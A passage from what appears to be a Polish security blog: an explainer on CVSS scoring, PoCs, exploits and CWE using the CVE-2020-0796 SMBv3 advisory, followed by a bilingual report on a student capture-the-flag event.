Aby mieć pewność, że podatność nie zostanie wykorzystana nawet po aktualizacji, warto zaimplementować detekcje próby wykorzystania np. specjalną sygnaturą/regułą od np. producenta w systemie IDS (Intrusion Detection System).

CVSS - Common Vulnerabilities Scoring System

CVSS jest systemem punktowania podatności w skali od 0-10, którą wykorzystuje severity do określenia poziomów ważności wykrytych luk. Obecnym standardem jest punktowanie CVSS w wersji 3.1 - wersje te odnoszą się do poprawek oceniania i podliczania punktów przez określony algorytm.

CVSS bazuje na trzech metrykach: Base, Temporal, Environmental.

Metryki CVSS.

Metryka Base wskazuje na jej domyślną wycene, niezależnie od sytuacji osoby/firmy, która akurat podatność posiada. W niej wyróżnia się metryki wpływu (Impact) oraz możliwości jej użycia w złych celach (Exploitability).

Metryka Temporal bierze pod uwagę pojawienie się możliwości aktualizacji podatności (powoduje to obniżenie punktacji w tej metryce), wystąpienie eksploit’a publicznie dostępnego w sieci (punktacja rośnie).

Z kolei Environmental skupia się na konkretnej sytuacji w firmie lub u użytkownika. W niej wskazuje się, czy jesteśmy w stanie załagodzić/obejść podatność czy też nic nie możemy zdziałać sami, aby się przed jej konsekwencjami obronić.

Metryki Temporal oraz Environmental są opcjonalne przy wyliczaniu punktacji, lecz są przydatne przy głębszej analizie wpływu podatności.

Dla każdej z tych trzech głównych metryk są określone podkategorie np. Wektor ataku (Attack Vector), dla których są ustalone parametry do wybrania. Poniżej w tabelach z opisami podkategorii w nawiasach są umieszczone skróty, które odpowiadają oznaczeniom w takiej formie zapisu CVSS, z którą najczęściej można się spotkać:

Przykładowy wektor CVSS.

Każda podkategoria w tym ciągu znaków jest rozdzielana za pomocą /, a po : znajduje się wybrany parametr. Powyżej podany przykład dokładnie opiszę w dalszej części, na postawie podatności CVE-2020-0796 tzw. “CoronaBlue”.

Na potrzeby artykułu skupię się głównie na opisie podkategorii dla metryki Base.

Opisy podkategorii dla metryki Base

Wektor ataku (Attack Vector) - wskazuje na potencjalne źródło ataku oraz możliwość jego rozprzestrzeniania.

Attack Vector (AV)	Opis
Network (N)	Podatność jest dostępna z zewnątrz w sieci dla atakującego oraz można ją rozpropagować po Internecie - jest możliwa do eksploitacji zdalnie (przykładem ataki DDoS).
Adjacent (A)	Podatność jest dostępna z sieci, lecz atakujący musi być w tej samej sieci fizycznej (np. w sieci lokalnej LAN, połączeniu Bluetooth) oraz dystrybucja ataku jest ograniczona do sąsiadującej topologii.
Local (L)	Podatny komponent nie jest dostępny z poziomu sieci, lecz np. po SSH, linii komend lub wymaga fizycznego dostępu do klawiatury i myszki. W ten parametr wlicza sie dodatkowo socjotechnikę, gdy atakujący liczy na otworzenie złośliwego załącznika przez użytkownika.
Phisical (P)	Atakujący osobiście, mając fizyczny kontakt ze sprzętem, manipuluje wrażliwym komponentem by wykorzystać podatność np. (Evil Maid Attack).

Trudność ataku (Attack Complexity) - wskazuje na poziom trudności wykonania poszczególnych czynności, które zostaną podjęte w celu wykorzystania podatności.

Attack Complexity (AC)	Opis
Low (L)	Wykorzystanie podatności przez atakującego nie wymaga zaawansowanej wiedzy oraz zdolności.
High (H)	Atakujący, aby wykorzystać podatność, musi podjąć wiele dodatkowych kroków, które mogą zwiększać ryzyko niepowodzenia/wykrycia jego działań - czyli np. wzbogacić wiedzę o infrastrukturze, konfiguracji podatnego systemu, podjąć się dodatkowych działań, mających na celu rekonesans.

Wymagane uprawnienia (Privileges Required) - wskazuje jakie uprawnienia musi posiadać atakujący przed wykorzystaniem podatności, aby wykonać atak.

Privileges Required (PR)	Opis
None (N)	Atakujący nie potrzebuje żadnych uprawnień, aby wykorzystać podatność.
Low (L)	Atakujący nie potrzebuje wysokich uprawnień, wystarczy mu dostęp do poświadczeń użytkownika.
High (H)	Atakujący potrzebuje uprawnień na prawach administratora/root’a aby wykorzystać podatność.

Interakcja użytkownika (User Interaction) - wskazuje na potrzebę działań użytkownika (otwarcie złośliwego pliku, linku, strony etc.) lub jej brak, aby wykorzystać podatność.

User Interaction (UI)	Opis
None (N)	Atakujący może działać bez potrzeby interakcji z użytkownikiem.
Required (R)	Atakujący musi nakłonić socjotechniką użytkownika do podjęcia nieprzemyślanych działań. W tym parametrze uwzględnia się też instalowanie/uruchamianie oprogramowania na prawach administratora przez użytkowników.

Zasięg (Scope) - wskazuje na możliwe pole rażenia, jeśli atakujący wykorzysta podatność - czy może wpłynąć na inne komponenty/zasoby, które są poza normalnymi możliwościami zaatakowanego komponentu.

Scope (S)	Opis
Changed (C)	Wykorzystanie podatności dotyka inne komponenty poza tym zaatakowanym.
Unchanged (U)	Wykorzystanie podatności wpływa tylko na podatny komponent.

Poufność (Confidentially) - wykazuje, czy atakujący ma dostęp do danych wrażliwych (np. numery PESEL) po wykonaniu ataku.

Confidentially (C)	Opis
High (H)	Atakujący może uzyskać dostęp do danych wrażliwych/poufnych/tajnych, haseł, kluczy szyfrujących.
Low (L)	Atakujący ma dostęp do nieokreślonych danych, lecz nie są one krytyczne w działaniu systemu/usługi - mogą skutkować obniżoną reputacją, w razie wycieku tych danych.
None (N)	Atakujący nie otrzyma dostępu do danych.

Integralność (Integrity) - wykazuje, czy atakujący byłby w stanie modyfikować/usuwać/nadpisywać/tworzyć pliki/konfiguracje/dane po wykorzystaniu podatności.

Integrity (I)	Opis
High (H)	Atakujący może wpływać na integralność danych wszystkich plików lub tych kluczowych do działania podatnego komponentu.
Low (L)	Atakujący może wpływać na ograniczoną liczbę plików, albo ma ograniczoną liczbę możliwości modyfikacji.
None (N)	Atakujący nie otrzyma możliwości wpływania na integralność danych.

Dostępność (Availability) - wpływa na dostępność podatnego komponentu po wykorzystaniu podatności przez atakującego.

Availability (A)	Opis
High (H)	Atakujący może swobodnie wpływać na dostępność działania komponentu - może spowodować np. DDOS, lub wyłączyć dostępność usługi dla wszystkich użytkowników.
Low (L)	Atakujący może wpływać na dostępność działania komponentu, lecz nie jest w stanie tego w pełni kontrolować - np. może uniemożliwić dostęp do usługi tylko wybranym użytkownikom.
None (N)	Atakujący nie otrzyma możliwości wpływania na dostępność komponentu.

Przeliczanie metryk

Po uzupełnieniu powyższych pól, specjalnie opracowany algorytm przelicza uzyskane punkty i określa je w skali od 0-10.

Istnieją specjalnie przygotowane kalkulatory CVSS, które po wybraniu odpowiednich parametrów wyliczają wynik CVSS oraz generują wektor CVSS, o którym wspomniałam wcześniej.

Kalkulator CVSS - https://www.first.org/cvss/calculator/3.1

Więcej szczegółów o przeliczaniu konkretnych parametrów i zastosowanym algorytmie znajdziesz tutaj.

Czym jest Proof of Concept i Exploit?

Proof of Concept (PoC) jest zazwyczaj obszernym artykułem, pracą, przykładowym kodem, dowodem technicznym na możliwość skompromitowania celu, aby udowodnić powagę podatności. Często jest on publikowany dopiero po wyjściu aktualizacji, która łata podatność. Często nie oznacza zawsze ;)

Przykładowy PoC - https://github.com/eerykitty/CVE-2020-0796-PoC?files=1

Exploit jest to już przygotowane narzędzie/skrypt/program do przeprowadzenia ataku przez cyberprzestępców, bądź pentesterów. Do wykorzystania eksploit’u nie potrzeba obszernej analizy jak on działa. Bardzo często gotowymi rozwiązaniami cyberprzestępcy dzielą się w darkweb’ie, a dopiero potem są one dostępne publicznie (np. Github/Metasploit).

PoC może być również od razu exploitem!

Obszerną bazą exploit’ów jest strona https://www.exploit-db.com.

Aktywne działania cyberprzestępców, mające na celu stworzenie własnego exploit’u, określa się często jako “zbrojenie się” (Weaponization).

Security Researcher, który monitoruje rozwój zainteresowania podatnością, jest w stanie zwiększyć scoring CVSS (metryka Temporal), ze względu na istnienie PoC’a, exploit’a, bądź zauważą “zbrojenie się” cyberprzestępców. W procesie Threat Management’u priorytet działań mitygujących/naprawiających zwiększa się, a czas wdrożenia poprawek skraca się do trybu przyśpieszonego, w zależności od aktywności w temacie PoC’ów, exploit’ów dla podatności.

Rzadko kiedy producenci/właściciele wadliwego komponentu dzielą się takimi informacjami, częściej można znaleźć przypuszczenia, czy dana podatność jest łatwa do eksploatacji.

Przykład - Microsoft.

Microsoft nie chwali się, że exploit’y już są, tylko czy jest takie prawdopodobieństwo.

CWE - Common Weakness Enumeration

Jest to lista typowych słabości w oprogramowaniu/sprzęcie. Słabościami są podatności, luki, bugi, błędy itd. Jej celem, podobnie jak listy CVE, jest zebranie tych słabości w jedno miejsce, uporządkowanie ich wedle określonych reguł, aby zachować jednolity standard w przedstawianiu możliwych błędów w algorytmie/kodzie/hardware’rze na całym świecie. Ułatwia to pracę architektom systemów oraz badaczom bezpieczeństwa w zrozumieniu, jaki błąd popełniono.

Więcej o CWE tutaj.

Top 25 najczęstszych CWE na rok 2019.

Przykład opisu podatności - CoronaBlue CVE-2020-0796

Na koniec, zobaczymy ile da się wyciągnąć z biuletynu bezpieczeństwa odnośnie podatności, która zrobiła ostatnio duże zamieszanie w świecie security. A mowa o tzw. CoronaBlue, czyli podatności na protokół Microsoft Server Message Block (SMBv3), który zazwyczaj jest stosowany do udostępniania zasobów (drukarek, plików).

Przykuwa ona uwagę ze względu na fakt, że parę lat wcześniej podobne podatności na ten sam protokół, lecz w wersji 1 (SMBv1), wykorzystał jeden z najbardziej znanych ransomware - WannaCry (w 2017). Korzystał z podatności o numerach:

CVE-2017-0143
CVE-2017-0144
CVE-2017-0145
CVE-2017-0146
CVE-2017-0147
CVE-2017-0148

Ale wracając do tematu…

Biuletyn znajduje się tu: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796

Pierwszy rzut oka na podatność.

Na pierwszy rzut oka widać, że dla odkrytej podatności jest przydzielony numer CVE oraz, że można ją wykorzystać zdalnie, czyli prawdopodobnie Severity jest na poziomie Critical (9-10). Dodatkowo czytając opis można dowiedzieć się, że atakujący nie musi mieć poświadczeń, ale musi przekonać użytkownika do połączenia ze złośliwym serwerem SMBv3, aby wykorzystać podatność.

Drugi rzut oka na podatność.

Przeglądając dalej, możemy uzyskać informację o prawdopodobieństwie możliwości wykorzystania podatności przez atakujących oraz jakie produkty są podatne. Dodatkowo widać, że jest możliwa aktualizacja oraz Severity jest wycenione na poziom Critical.

Trzeci rzut oka na podatność.

Po przejściu w zakładke CVSS Score mamy wycenę metryki CVSS Base i Temporal osobno dla każdej wersji systemu. Jej wynik punktowy wskazuje, że wpływ wykorzystania podatności jest bardzo duży, jeśli ktoś ją wykorzysta (10/10!). Otrzymujemy też wektor CVSS, o którym wspomniałam wcześniej:

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:P/RL:O/RC:C

Spróbujcie go sami rozszyfrować ;).

Podpowiedź: 3 ostatnie podkategorie odnoszą się do metryki Temporal.

Czwarty rzut oka na podatność.

Przeglądając niżej, Microsoft wskazuje na brak możliwości załagodzenia podatności i zaleca obejście problemu, do czasu aktualizacji (ale całe szczęście jest!).

Pamiętajmy: aktualizacja > workaround oficjalny > workaround nieoficjalny !

Na samym końcu umieszczone są FAQ oraz odnotowane zmiany w biuletynie.

No dobrze, to co nam to dało?

Jeśli przeanalizowaliście wektor CVSS to wiecie, że należy jak najszybciej sprawą się zająć i się zaktualizować, ale dla leniwych, zestawię go poniżej:

Fragment wektora	Podkategoria	Parametr	Opis
/AV:N/	Attack Vector (AV)	Network (N)	Atakujący działa zdalnie oraz nie musi być w naszej sieci + może propagować się po całej naszej infrastrukturze.
/AC:L/	Attack Complexity (AC)	Low (L)	Atakujący nie musi się napracować, by efektywnie wykonywać zdalnie kod.
/PR:N/	Priviledges Required (PR)	None (N)	Atakujący nie potrzebuje poświadczeń, by wykorzystać słabość.
/UI:N/	User Interaction (UI)	None (N)	Atakujący nie prowadzi interakcji z użytkownikiem, aby nakłonić klienta SMBv3 do połączenia się ze swoim serwerem.
/S:C/	Scope (S)	Changed (C)	Atakujący po kompromitacji, może wpływać na inne komponenty systemu.
/C:H/	Confidentiality (C)	High (H)	Atakujący ma dostęp do danych wrażliwych po przeprowadzeniu ataku.
/I:H/	Integrity (I)	High (H)	Atakujący może modyfikować pliki do woli.
/A:H/	Availability (A)	High (H)	Atakujący ma możliwość wyłączenia/przerwania usługi, zarządzania nią wedle swojej woli.

I 3 ostatnie podkategorie (Temporal):

Fragment wektora	Podkategoria	Parametr	Opis
/E:P/	Exploit Code Maturity (E)	Proof of Concept (P)	Dla tej podatności występuje dowód możliwości jej wykorzystania (kod, artykuł), lecz nie został on przystosowany do uniwersalnego wykorzystania przez cyberprzestępców.
/RL:O/	Remediation Level (RL)	Official Fix (O)	Wskazanie, że Microsoft opublikował oficjalne aktualizacje, aby usunąć podatność.
/RC:C	Report Confidence (RC)	Confirmed (C)	Microsoft potwierdził lukę w swoim protokole SMBv3.

Przy analizie podatności warto również sięgnąć do innych źródeł, które mogą zawierać więcej informacji:

Dla bardziej zainteresowanych podatnością, linki są poniżej:

Kończąc, najważniejszą rzeczą przy analizie podatności względem swojej infratruktury jest zrozumienie jej powagi oraz możliwego wpływu. Dlatego warto czasem samodzielnie rozpracować podatność lub na podstawie PoC’a, wycenić ją w standardzie CVSS dla swojego środowiska metryką Environmental oraz przemyśleć możliwość jej mitygacji, jeśli aktualizacji nie ma jeszcze od producenta.

Break The Syntax CTF 2019

Fri, 06 Mar 2020 00:00:00 +0000

[PL] Break The Syntax 2019

5 grudnia 2019 roku zorganizowaliśmy nasz pierwszy turniej typu Jeopardy Capture the Flag (CTF), polegający na łamaniu zabezpieczeń konkretnych systemów oraz rozwiązaniu zadań w celu znalezienia tytułowej flagi.

Oficjalny plakat turnieju.

Idea

Skąd pomysł na organizację tego typu przedsięwzięcia? Po uczestnictwie jako drużyna w wielu turniejach CTF postanowiliśmy zmienić rolę i zamiast rozwiązywania wyzwań, zaczęliśmy je samemu tworzyć! W końcu co może lepiej rozwijać niż świadoma implementacja pewnych podatności. Chcieliśmy również spopularyzować to słynne „hakowanie” (oczywiście w etycznych celach) i pokazać studentom o co właściwie w tym chodzi. W ten oto sposób narodził się pomysł na Break the Syntax CTF i jego pierwszą edycję współorganizowaną wraz z Credit Suisse oraz Wrocławskim Centrum Sieciowo-Superkomputerowym.

Organizatorzy czuwają nad wszystkim.

O wydarzeniu

Zainteresowanie przewyższyło nasze najśmielsze oczekiwania. Ponad tydzień przed rozpoczęciem zabawy byliśmy zmuszeni do przerwania zapisów, gdyż osiągnęliśmy limit 100 osób.

O godzinie 16:00, na pierwszym piętrze budynku D-21 rozpoczęły się czterogodzinne zmagania. 38 drużyn podjęło się pierwszych prób zdobycia flag. Musieli zmierzyć się z 15 zadaniami w przeciągu 4 godzin turnieju. Każdy mógł znaleźć coś dla siebie - od podstawowych zadań polegających na szukaniu informacji w jawnym kodzie stron internetowych, po te bardziej zaawansowane polegające m.in. na wykorzystaniu podatności padding oracle.

Nasi uczestnicy w boju.

Ostatecznie zwyciężył zespół Dream Team, w którego skład wchodzili Karol Baraniecki i Luka Mitrovich. Drugie miejsce przypadło zaś Kamilowi Piszczkowi, który tworzył solowy zespół Hck.

Zespół organizatorów w pełnej krasie.

Gdy emocje nieco opadły, zdecydowaliśmy się zapytać uczestników o ich opinie. Niemal wszyscy byli zachwyceni i stwierdzili, że z chęcią wzięliby udział w kolejnych edycjach. Jednoznacznie można stwierdzić, że Break the Syntax CTF okazał się sukcesem.

Podsumowując

Czy będzie kolejna edycja? Z pewnością! Kiedy? Już w niedalekiej przyszłości. Śledźcie naszego bloga i stronę na Facebooku.

[ENG] Break The Syntax 2019

On December 5th, 2019 we organised our first Jeopardy Capture the Flag (CTF) competiton, in which participants have to overcome the security of specific systems and solve tasks in order to find a flag.

The official poster ofthe tournament.

The Idea

Where did the idea for organising such a tournament come from? After participating as a team in many CTF tournaments we decided to switch roles and instead of solving tasks, we started to create our own. After all, what can make you learn more than the conscious implementation of specific vulnerabilities. We also wanted to popularise “hacking” (ethical, of course) and show students what it’s all about. And so the idea for Break the Syntax CTF was born, along with it’s first edition organised together with Credit Suisse and the Wrocław Centre of Networking and Supercomputing.

Organisers keeping an eye on everything.

About the event

Interest exceeded our wildest expectations. More than a week before the start of the competition we were forced to stop the registration, as we had already reached our limit of 100 participants.

At 4:00 PM, on the first floor of building D-21, the four-hour struggle had begun. 38 teams made their first attempt at capturing the flags. They had to solve 15 tasks during the 4 hours of the tournament. Everyone could find something for themselves, ranging from basic tasks consisting of finding information in a website’s source code, to those more sophisticated involving, among other things, the exploitation of oracle padding vulnerabilities.

Our participants.

In the end the Dream Team team won, consisting of Karol Baraniecki and Luka Mitrovich. Second place went to Kamil Piszczek in his solo team named Hck.

The organisers' team at their best.

Once the emotions had settled, we decided to ask the participtants for the opinions. Almost all of them were delighted and said they would be happy to participate in future editions. It can be said beyond doubt that Break the Syntax CTF was a success.

Summary

Will there be another edition? Of course! When? In the near feature. Follow our blog and Facebook page.